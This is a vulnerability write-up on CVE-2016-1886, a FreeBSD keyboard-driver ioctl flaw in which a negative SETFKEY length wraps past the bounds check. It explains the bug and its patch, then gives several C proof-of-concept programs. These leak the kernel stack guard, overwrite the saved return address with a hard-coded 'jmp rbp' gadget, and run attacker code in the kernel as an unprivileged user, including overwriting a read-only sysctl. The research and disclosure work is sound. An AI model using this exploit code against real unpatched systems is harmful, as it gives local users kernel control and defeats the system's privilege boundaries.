SETFKEY
FreeBSD kernel vulnerability
Every FreeBSD keyboard driver exposes its own ioctl
interface to allow it to be configured from userland (through the kbdcontrol
utility for example). Typically, these ioctl
handlers will implement any specific commands for the hardware, such as enabling or disabling LEDs, and will delegate the rest of the commands to a common handler, called genkbd_commonioctl
.
I discovered a vulnerability in this common handler, which has been present since the driver's introduction in 1999.
Due to a poor default sysctl
variable, this bug can be triggered by an unprivileged user, so long as at least one keyboard driver is running (by default the atkbd
driver is used), making its impact critical.
I decided to report this bug to the FreeBSD Security Team on April 22, 2016, the day after I had discovered it, and was able to exploit it about a week later. It has been assigned CVE-2016-1886 and Security Advisory 16:18.
In this article I will provide an explanation of the bug, and some of the methods which I considered for exploitation, including the one I had success with: using the corrupted len
member of a keytab
to trigger a powerful two way heap and stack overflow.
As always, since my interest is just in finding and analysing bugs, and not in publishing any fully weaponised exploit source code, the aim of this article will just be to demonstrate the impact of the bug by gaining kernel code execution as an unprivileged user; I will leave any further development, such as privilege escalation and cleanly returning from the payload, as an exercise for the reader.
All details and code excerpts for this article have been taken from FreeBSD 10.2-RELEASE (amd64), however, the vulnerability is present up to version 10.3 as well, and for all architectures supported by FreeBSD.
The keyboard
kernel struct contains a pointer to an array of tables, which are used to describe the function of a particular key. This array is allocated on the heap, with 16
bytes reserved for each description.
#define MAXFK 16
typedef struct keyboard keyboard_t;
...
struct keyboard {
...
struct fkeytab *kb_fkeytab; /* function key strings */
int kb_fkeytab_size;/* # of function key strings */
...
};
struct fkeytab {
u_char str[MAXFK];
u_char len;
};
The genkbd_commonioctl
handler exposes the GETFKEY
and SETFKEY
commands to manage the description of these function keys from userland.
int
genkbd_commonioctl(keyboard_t *kbd, u_long cmd, caddr_t arg)
{
keymap_t *mapp;
okeymap_t *omapp;
keyarg_t *keyp;
fkeyarg_t *fkeyp;
int s;
int i, j;
int error;
s = spltty();
switch (cmd) {
...
case GETFKEY: /* get functionkey string */
fkeyp = (fkeyarg_t *)arg;
if (fkeyp->keynum >= kbd->kb_fkeytab_size) {
splx(s);
return (EINVAL);
}
bcopy(kbd->kb_fkeytab[fkeyp->keynum].str, fkeyp->keydef,
kbd->kb_fkeytab[fkeyp->keynum].len);
fkeyp->flen = kbd->kb_fkeytab[fkeyp->keynum].len;
break;
case SETFKEY: /* set functionkey string */
#ifndef KBD_DISABLE_KEYMAP_LOAD
fkeyp = (fkeyarg_t *)arg;
if (fkeyp->keynum >= kbd->kb_fkeytab_size) {
splx(s);
return (EINVAL);
}
error = fkey_change_ok(&kbd->kb_fkeytab[fkeyp->keynum],
fkeyp, curthread);
if (error != 0) {
splx(s);
return (error);
}
kbd->kb_fkeytab[fkeyp->keynum].len = imin(fkeyp->flen, MAXFK);
bcopy(fkeyp->keydef, kbd->kb_fkeytab[fkeyp->keynum].str,
kbd->kb_fkeytab[fkeyp->keynum].len);
break;
#else
splx(s);
return (ENODEV);
#endif
default:
splx(s);
return (ENOIOCTL);
}
splx(s);
return (0);
}
For these commands, the fkeyp
struct is user supplied, and of type struct fkeyarg
.
struct fkeyarg {
u_short keynum;
char keydef[MAXFK];
char flen;
};
typedef struct fkeyarg fkeyarg_t;
As mentioned earlier, there is a sysctl
variable, hw.kbd.keymap_restrict_change
, which prevents unprivileged users from updating the length or contents of these keymap entries (checked by fkey_change_ok
), however it is set to a default value of 0
, which disables this functionality!
SYSCTL_INT(_hw_kbd, OID_AUTO, keymap_restrict_change, CTLFLAG_RW,
&keymap_restrict_change, 0, "restrict ability to change keymap");
...
static int
fkey_change_ok(fkeytab_t *oldkey, fkeyarg_t *newkey, struct thread *td)
{
if (keymap_restrict_change <= 3)
return (0);
if (oldkey->len != newkey->flen ||
bcmp(oldkey->str, newkey->keydef, oldkey->len) != 0)
return priv_check(td, PRIV_KEYBOARD);
return (0);
}
I'm not sure if this is a bug in its self, or if FreeBSD just has poor defaults, but we decided to raise the default value of this sysctl
to be 4
in HardenedBSD; perhaps FreeBSD will follow suit.
The functionality to modify keymap entries can also be removed entirely by compiling with "options KBD_DISABLE_KEYMAP_LOAD
" in the configuration file, but this option is not present in the GENERIC kernel.
The bug is an improper bound check when updating the length of a key description through the SETFKEY
command.
Obviously, before accepting a user supplied length here, it should be checked to ensure that any copies relying on it won't write out of bounds for the allocated buffer (MAXFK = 16 bytes
).
The handler attempts to do this by using imin
to provide an upper limit of MAXFK
. The problem is that no part of this code checks for negative values of fkeyp->flen
!
kbd->kb_fkeytab[fkeyp->keynum].len = imin(fkeyp->flen, MAXFK);
When passing a negative length in fkeyp->flen
, a signed
comparison will be performed against 16
, which results in imin
returning the negative length.
static __inline int imin(int a, int b) { return (a < b ? a : b); }
The negative value returned by imin
is then assigned to kbd->kb_fkeytab[fkeyp->keynum].len
, which has an unsigned
type (u_char
). This means that negative lengths will wrap around to be positive; for example, -1
will wrap around to 255
.
Triggering the vulnerability only requires our copy size to be negative as a signed char
, which means we may set the length of a key description to any value between 128 - 255
.
I submitted a patch alongside my report which solves the issue by replacing imin
with min
in the SETFKEY
case of genkbd_commonioctl
.
This function performs unsigned
comparisons instead, and so will return MAXFK
when compared against a negative value.
static __inline u_int min(u_int a, u_int b) { return (a < b ? a : b); }
The official patch may be downloaded from the FreeBSD site. Commit reference for this patch may be found here.
ioctl
Before going over the resultant overflows which occur from an invalid length being set, let's take a look at how the ioctl
system call prepares the argument buffer.
This buffer will either be allocated on the heap with malloc
, or point to a local stack buffer called smalldata
, depending on whether the size needed for the command is greater than SYS_IOCTL_SMALL_SIZE
(128
bytes) or not.
int
sys_ioctl(struct thread *td, struct ioctl_args *uap)
{
u_char smalldata[SYS_IOCTL_SMALL_SIZE] __aligned(SYS_IOCTL_SMALL_ALIGN);
u_long com;
int arg, error;
u_int size;
caddr_t data;
...
/*
* Interpret high order word to find amount of data to be
* copied to/from the user's address space.
*/
size = IOCPARM_LEN(com);
...
if (size > 0) {
if (com & IOC_VOID) {
/* Integer argument. */
arg = (intptr_t)uap->data;
data = (void *)&arg;
size = 0;
} else {
if (size > SYS_IOCTL_SMALL_SIZE)
data = malloc((u_long)size, M_IOCTLOPS, M_WAITOK);
else
data = smalldata;
}
} else
data = (void *)&uap->data;
if (com & IOC_IN) {
error = copyin(uap->data, data, (u_int)size);
if (error != 0)
goto out;
} else if (com & IOC_OUT) {
/*
* Zero the buffer so the user always
* gets back something deterministic.
*/
bzero(data, size);
}
error = kern_ioctl(td, uap->fd, com, data);
if (error == 0 && (com & IOC_OUT))
error = copyout(data, uap->data, (u_int)size);
out:
if (size > SYS_IOCTL_SMALL_SIZE)
free(data, M_IOCTLOPS);
return (error);
}
Both the GETFKEY
and SETFKEY
commands take an argument of type fkeyarg_t
, which is 20
bytes, so the 128
byte stack buffer, smalldata
, will be used.
SETFKEY
overflow
Immediately after setting the new length in SETFKEY
, a bcopy
will be performed from the user supplied keydef
in the ioctl
argument buffer on the stack, into the key description heap array.
bcopy(fkeyp->keydef, kbd->kb_fkeytab[fkeyp->keynum].str,
kbd->kb_fkeytab[fkeyp->keynum].len);
Once again, the size of the argument buffer on the stack is 128
bytes, each description of a keydef
is 16
bytes, and the copy size we can control to be within the range 128 - 255
.
GETFKEY
overflow
Once the corrupted size has been set, we can perform the inverse copy, from the key description heap array into the ioctl
argument buffer on the stack, through the GETFKEY
command.
bcopy(kbd->kb_fkeytab[fkeyp->keynum].str, fkeyp->keydef,
kbd->kb_fkeytab[fkeyp->keynum].len);
There are two main targets for the heap overflow, depending on the value specified for fkeyp->keynum
.
If 0
is specified, the copy will start from the first struct fkeytab
in the array, and read from or write into the elements following it (depending on the command).
Alternatively, we can begin the copy from the final element of the array by specifying (kbd->kb_fkeytab_size - 1 = 95)
, which will result in overflowing whatever data on the heap follows the kbd->kb_fkeytab
allocation.
Unfortunately, since each keyboard driver will allocate this buffer as soon as it is loaded, which is presumably at boot, we have no control over what the adjacent memory allocations will be.
All we know is that the size requested for this allocation will be 1920
bytes (sizeof(struct fkeytab) * 96
), and so it will be allocated on the 2048
byte anonymous zone (check out argp's paper about exploiting UMA for a detailed description of how UMA works).
Because of this, the actual size of the buffer allocated for the kb_fkeytab
member is 2048
bytes, which means that by copying from the final element in this array with a size of 255
bytes, we overflow the next heap allocation by 107
bytes (1920 - 20 + 255 - 2048
).
To identify whether overflowing into this memory would be useful, I set a breakpoint on the bcopy
call to find the address of the kb_keytab
buffer, and then dumped and set read/write breakpoints on the memory following it. Unfortunately the breakpoints were never triggered, and the contents of the dump were only 0
bytes, so it didn't seem to be used for anything.
This means that our only choice when overflowing from and into the heap is to to target other struct fkeytab
items.
As we saw earlier, the ioctl
system call is designed to only copy in as much data from the user as a particular command expects, and so by the time that the SETFKEY
heap overflow occurs, we have only copied sizeof(struct fkeyarg)
into the argument buffer, without any control over the data following it. Because of this, we can't directly control the contents of the overflow from our SETFKEY
call.
However, you may have noticed that only the portion of the argument buffer which is expected to be used will be initialised with data (via the copyin
call when used as an input, and via the bzero
call when used as an output).
This means that the initial overflow contents will be whatever uninitialised stack data is in the rest of smalldata
. We can use this to our advantage by performing various other system calls beforehand, which will write to the stack, to gain some control over the memory which will later be occupied by smalldata
.
For example, we can perform an ioctl
call which takes a larger input (but at most 128
bytes) to copy arbitrary contents into the smalldata
buffer, and then trigger the SETFKEY
vulnerability. Since the stack frame for the two ioctl
calls will be the same size (both will go through Xfast_syscall -> amd64_syscall -> sys_ioctl
), the smalldata
buffer will occupy the same stack memory for both calls. As long as nothing else writes to this memory between the two calls, the smalldata
buffer used for the SETFKEY
command will still contain the contents from the first ioctl
call.
There are many suitable ioctl
commands to use for this: SIOCSIFPHYADDR
, OSIOCAIFADDR
, SIOCSDRVSPEC
, SIOCAIFGROUP
, etc.
I had partial success with this technique: most of the bytes from the first ioctl
call remained in the buffer by the time the second call was reached, but some were overwritten with garbage data. You may be able to get better results from using other system calls, but I didn't analyse this possibility fully.
Below is some PoC code to demonstrate overflowing into a keytab
with controlled contents:
#include <stdio.h>
#include <stddef.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/kbio.h>
#include <sys/consio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <net/if.h>
int main(void) {
int i;
fkeyarg_t fkey;
printf(" [+] Fill final keytab data with 'a'\n");
fkey.keynum = 95;
fkey.flen = 16;
memset(&fkey.keydef, 'a', 16);
ioctl(0, SETFKEY, &fkey);
printf(" [+] Get final keytab data\n");
fkey.keynum = 95;
fkey.flen = 16;
memset(&fkey.keydef, 0, 16);
ioctl(0, GETFKEY, &fkey);
printf("keydef: ");
for(i = 0; i < 16; i++) {
printf("%02hhx ", fkey.keydef[i]);
}
printf("\n");
printf("flen: %d\n", fkey.flen);
printf(" [+] Perform stack data manipulation\n");
int sock = socket(AF_INET, SOCK_DGRAM, 0);
struct oifaliasreq req;
memset(&req, 0, sizeof(req));
fkeytab_t *keytab = (fkeytab_t *)((char *)&req + offsetof(fkeyarg_t, keydef));
memset(&keytab[1].str, 'b', 16);
// Make sure that the length of the corrupted keytab won't cause stack overflow when using GETFKEY command
keytab[1].len = 16;
ioctl(sock, OSIOCAIFADDR, &req);
fkey.keynum = 94;
fkey.flen = -1;
memset(&fkey.keydef, 0, 16);
ioctl(0, SETFKEY, &fkey);
printf(" [+] Overflowed into final keytab with uninitialised stack data\n");
printf(" [+] Get final keytab data\n");
fkey.keynum = 95;
fkey.flen = 16;
memset(&fkey.keydef, 0, 16);
ioctl(0, GETFKEY, &fkey);
printf("keydef: ");
for(i = 0; i < 16; i++) {
printf("%02hhx ", fkey.keydef[i]);
}
printf("\n");
printf("flen: %d\n", fkey.flen);
close(sock);
return 0;
}
The output of the above is as follows:
[+] Fill final keytab data with 'a'
[+] Get final keytab data
keydef: 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61
flen: 16
[+] Perform stack data manipulation
[+] Overflowed into final keytab with uninitialised stack data
[+] Get final keytab data
keydef: 00 62 62 62 62 62 62 62 62 62 62 62 62 62 62 62
flen: 16
By replacing the OSIOCAIFADDR
ioctl
call with a system call which treats the stack differently, we can leak many types of kernel stack data to userland with this method (kernel pointers can be useful for example). However, if the len
member is corrupted to be too high, reading the memory will trigger the stack overflow in GETFKEY
.
By corrupting the key description's len
value to be anything greater than (128 - offsetof(fkeyarg_t, keydef) = 126)
, we will extend the stack overflow past the smalldata
buffer into the rest of the stack frame.
This allows us to read and write to some of the values on the stack which follow the smalldata
buffer, from the keydef
heap array.
smalldata (128)
stack guard (8)
rbx (8)
r12 (8)
r13 (8)
r14 (8)
r15 (8)
rbp (8)
rip (8)
The following PoC demonstrates this by leaking the stack guard.
#include <stdio.h>
#include <stddef.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/kbio.h>
#include <sys/types.h>
int main(void) {
int i;
uint64_t guard;
fkeyarg_t fkey;
printf(" [+] Set keydef length\n");
fkey.keynum = 7;
fkey.flen = 16;
memset(&fkey.keydef, 'a', 16);
ioctl(0, SETFKEY, &fkey);
printf(" [+] Overflow into keytabs\n");
fkey.keynum = 0;
fkey.flen = 128 - offsetof(fkeyarg_t, keydef) + sizeof(guard);
memset(&fkey.keydef, 0, 16);
ioctl(0, SETFKEY, &fkey);
printf(" [+] Get leaked stack data\n");
fkey.keynum = 7;
fkey.flen = 16;
memset(&fkey.keydef, 0, 16);
ioctl(0, GETFKEY, &fkey);
printf("keydef: ");
for(i = 0; i < 16; i++) {
printf("%02hhx ", fkey.keydef[i]);
}
printf("\n");
printf("flen: %d\n", fkey.flen);
guard = *(uint64_t *)((char *)&fkey.keydef + 7);
printf(" [+] Leaked stack guard: 0x%lx\n", guard);
return 0;
}
Our only limitation with this is that, due to some differences between fkeyarg_t
and struct fkeytab
, we can only fully control 17
of the 20
bytes for each description (the 16
bytes in the keydef
member, and 1
of the struct padding bytes). We can partially control the len
member, but the final 2
bytes we have no control over.
The method of exploitation I went with is as follows:
SETFKEY
to corrupt the length of a keytab
and overflow from the stack onto the heap,SETFKEY
on higher keytab
s,GETFKEY
to overflow from the heap back onto the stack using the previously set length,
Since the GETFKEY
and SETFKEY
commands both go through the same stack frame, we only need to change the values on the stack which we want to, and can leave the others, like the stack guard, untouched.
By preparing the memory on the heap with SETFKEY
, we will gain full control over the majority of the stack frame after performing the final GETFKEY
call. However, due to how the memory alignment works out, we can only fully control the lower 4
bytes of the return address; the upper 4
bytes will remain as 0xffffffff
.
We could attempt to use the trick described earlier to gain more control over the heap by initialising the argument buffer first, and calling SETFKEY
on higher keytabs. However, I instead decided to just jump to a piece of kernel code which derives a function pointer from one of the other registers which we control, to gain full rip
control.
For example, since we control r15
, we could use the following code from uma_zfree_arg
:
FFFFFFFF80BBF2B3 mov rax, [r15+0D8h]
FFFFFFFF80BBF2BA test rax, rax
FFFFFFFF80BBF2BD jz short loc_FFFFFFFF80BBF2CE
FFFFFFFF80BBF2BF mov esi, [r15+10Ch]
FFFFFFFF80BBF2C6 mov rdi, r14
FFFFFFFF80BBF2C9 mov rdx, rbx
FFFFFFFF80BBF2CC call rax
Although, an even better solution is to abuse the density of the x86-64
architecture by decoding from unintended offsets to find more convenient instructions. I used rp++ to find the following gadget:
FFFFFFFF808312CD jmp rbp
The following PoC demonstrates gaining kernel code execution from the bug on 10.2-RELEASE for amd64:
#include <stdio.h>
#include <stdlib.h>
#include <stddef.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/kbio.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/param.h>
#include <sys/linker.h>
void (*critical_enter)(void);
int (*kprintf)(const char *fmt, ...);
void *resolve(char *name) {
struct kld_sym_lookup ksym;
ksym.version = sizeof(ksym);
ksym.symname = name;
if(kldsym(0, KLDSYM_LOOKUP, &ksym) < 0) {
perror("kldsym");
exit(1);
}
printf(" [+] Resolved %s to %#lx\n", ksym.symname, ksym.symvalue);
return (void *)ksym.symvalue;
}
void payload(void) {
critical_enter();
kprintf(" [+] Entered kernel payload\n");
while(1);
}
// Copy the stack onto the heap
void heapOverflow(int index, size_t size) {
fkeyarg_t fkey;
fkey.keynum = index;
fkey.flen = size;
memset(&fkey.keydef, 0, 16);
ioctl(0, SETFKEY, &fkey);
}
// Copy the heap onto the stack
void stackOverflow(int index) {
fkeyarg_t fkey;
fkey.keynum = index;
fkey.flen = 16;
memset(&fkey.keydef, 0, 16);
ioctl(0, GETFKEY, &fkey);
}
int main(void) {
int i;
fkeyarg_t fkey;
uint32_t ripLower4 = 0x808312cd; // jmp rbp
uint64_t rbp = (uint64_t)payload;
critical_enter = resolve("critical_enter");
kprintf = resolve("printf");
printf(" [+] Set full length for key 10\n");
fkey.keynum = 10;
fkey.flen = 16;
ioctl(0, SETFKEY, &fkey);
printf(" [+] Set bad length and perform heap overflow\n");
heapOverflow(0, 128 - offsetof(fkeyarg_t, keydef) + 8 + 0x30 + sizeof(ripLower4));
printf(" [+] Prepare stack overflow memory\n");
fkey.keynum = 10;
fkey.flen = 16;
ioctl(0, GETFKEY, &fkey);
*(uint64_t *)((char *)&fkey.keydef + 4) = rbp;
*(uint32_t *)((char *)&fkey.keydef + 12) = ripLower4;
ioctl(0, SETFKEY, &fkey);
printf(" [+] Trigger stack overflow\n");
stackOverflow(0);
return 0;
}
Ideally, we should restore the original kernel stack frame so that our payload will return to amd64_syscall -> Xfast_syscall
, where the correct userland registers will be restored, before switching back to user mode.
However, since my interest is just in demonstrating the impact of the bug, and not in creating fully weaponised source code, I decided to instead just use swapgs
and sysret
to return to userland with incorrect registers.
__asm__ volatile("swapgs; sysret");
This will trigger a segmentation fault and kill the userland process, but by this point we have already executed whatever we want in the kernel, and would just exit anyway.
This final PoC demonstrates using kernel code execution to modify a read only sysctl
variable, and then reading it from a separate userland process. I've also included code to read the original stack variables, just in case anyone wants to try using them to return from the payload properly.
#include <stdio.h>
#include <stdlib.h>
#include <stddef.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/kbio.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/param.h>
#include <sys/linker.h>
int (*kprintf)(const char *fmt, ...);
char *ostype;
uint64_t originalRip;
uint64_t originalRbp;
void *resolve(char *name) {
struct kld_sym_lookup ksym;
ksym.version = sizeof(ksym);
ksym.symname = name;
if(kldsym(0, KLDSYM_LOOKUP, &ksym) < 0) {
perror("kldsym");
exit(1);
}
printf(" [+] Resolved %s to %#lx\n", ksym.symname, ksym.symvalue);
return (void *)ksym.symvalue;
}
void payload(void) {
kprintf(" [+] Entered kernel payload\n");
strcpy(ostype, "CTurt ");
__asm__ volatile("swapgs; sysret");
}
// Copy the stack onto the heap
void heapOverflow(int index, size_t size) {
fkeyarg_t fkey;
fkey.keynum = index;
fkey.flen = size;
memset(&fkey.keydef, 0, 16);
ioctl(0, SETFKEY, &fkey);
}
// Copy the heap onto the stack
void stackOverflow(int index) {
fkeyarg_t fkey;
fkey.keynum = index;
fkey.flen = 16;
memset(&fkey.keydef, 0, 16);
ioctl(0, GETFKEY, &fkey);
}
int main(void) {
int result, i;
fkeyarg_t fkey;
uint32_t ripLower4 = 0x808312cd; // jmp rbp
uint64_t rbp = (uint64_t)payload;
kprintf = resolve("printf");
ostype = resolve("ostype");
printf(" [+] Set full length for key 10\n");
fkey.keynum = 10;
fkey.flen = 16;
ioctl(0, SETFKEY, &fkey);
printf(" [+] Set bad length and perform heap overflow\n");
heapOverflow(0, 128 - offsetof(fkeyarg_t, keydef) + 8 + 0x30 + sizeof(ripLower4));
printf(" [+] Prepare stack overflow memory\n");
fkey.keynum = 10;
fkey.flen = 16;
ioctl(0, GETFKEY, &fkey);
originalRbp = *(uint64_t *)((char *)&fkey.keydef + 4);
originalRip = 0xffffffff00000000 | *(uint32_t *)((char *)&fkey.keydef + 12);
printf(" [+] Original rip: %#lx\n", originalRip);
printf(" [+] Original rbp: %#lx\n", originalRbp);
*(uint64_t *)((char *)&fkey.keydef + 4) = rbp;
*(uint32_t *)((char *)&fkey.keydef + 12) = ripLower4;
ioctl(0, SETFKEY, &fkey);
printf(" [+] Trigger stack overflow\n");
fflush(stdout);
stackOverflow(0);
return 0;
}
This bug is very special for me because it is the first bug I have reported which was serious enough to be assigned a CVE. It was also really fun to analyse because it lead to such a powerful stack control primitive, and wasn't too difficult to gain arbitrary kernel code execution from.
In the future, I hope to analyse other methods of bypassing the stack protector, to enable exploitation of stack overflow vulnerabilities which are more limited, like the kern.binmisc.add
vulnerability. For example, in the past this has been possible due to FreeBSD's implementation of arc4random having a lack of entropy.